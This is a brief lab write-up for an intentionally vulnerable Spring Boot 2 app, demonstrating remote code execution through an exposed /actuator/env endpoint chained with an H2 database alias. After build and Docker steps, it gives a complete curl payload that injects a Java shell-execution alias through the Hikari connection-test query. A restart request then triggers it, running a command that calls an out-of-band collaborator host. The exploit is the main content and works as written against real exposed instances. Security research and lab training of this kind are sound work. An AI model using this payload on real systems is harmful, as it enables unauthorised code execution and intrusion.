Writeup: Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2

This is a sample app based off the default Spring Boot app in Spring's documentation that demonstrates how an attacker can achieve RCE on an instance with an exposed /actuator/env endpoint and a H2 database.

First, start the app. You can do this locally or with Docker.

If you run this locally, you need JDK 1.8 or later and Maven 3.2+.

./mvnw package && java -jar target/gs-spring-boot-docker-0.1.0.jar

1. sudo docker build -t spaceraccoon/spring-boot-rce-lab .
2. sudo docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

The app is now running on localhost:8080.

1. (Modify the curl request accordingly) curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'curl http://x.burpcollaborator.net\');\"}' 'http://localhost:8080/actuator/env'
2. curl -X 'POST' -H 'Content-Type: application/json' 'http://localhost:8080/actuator/restart'

You will receive a pingback.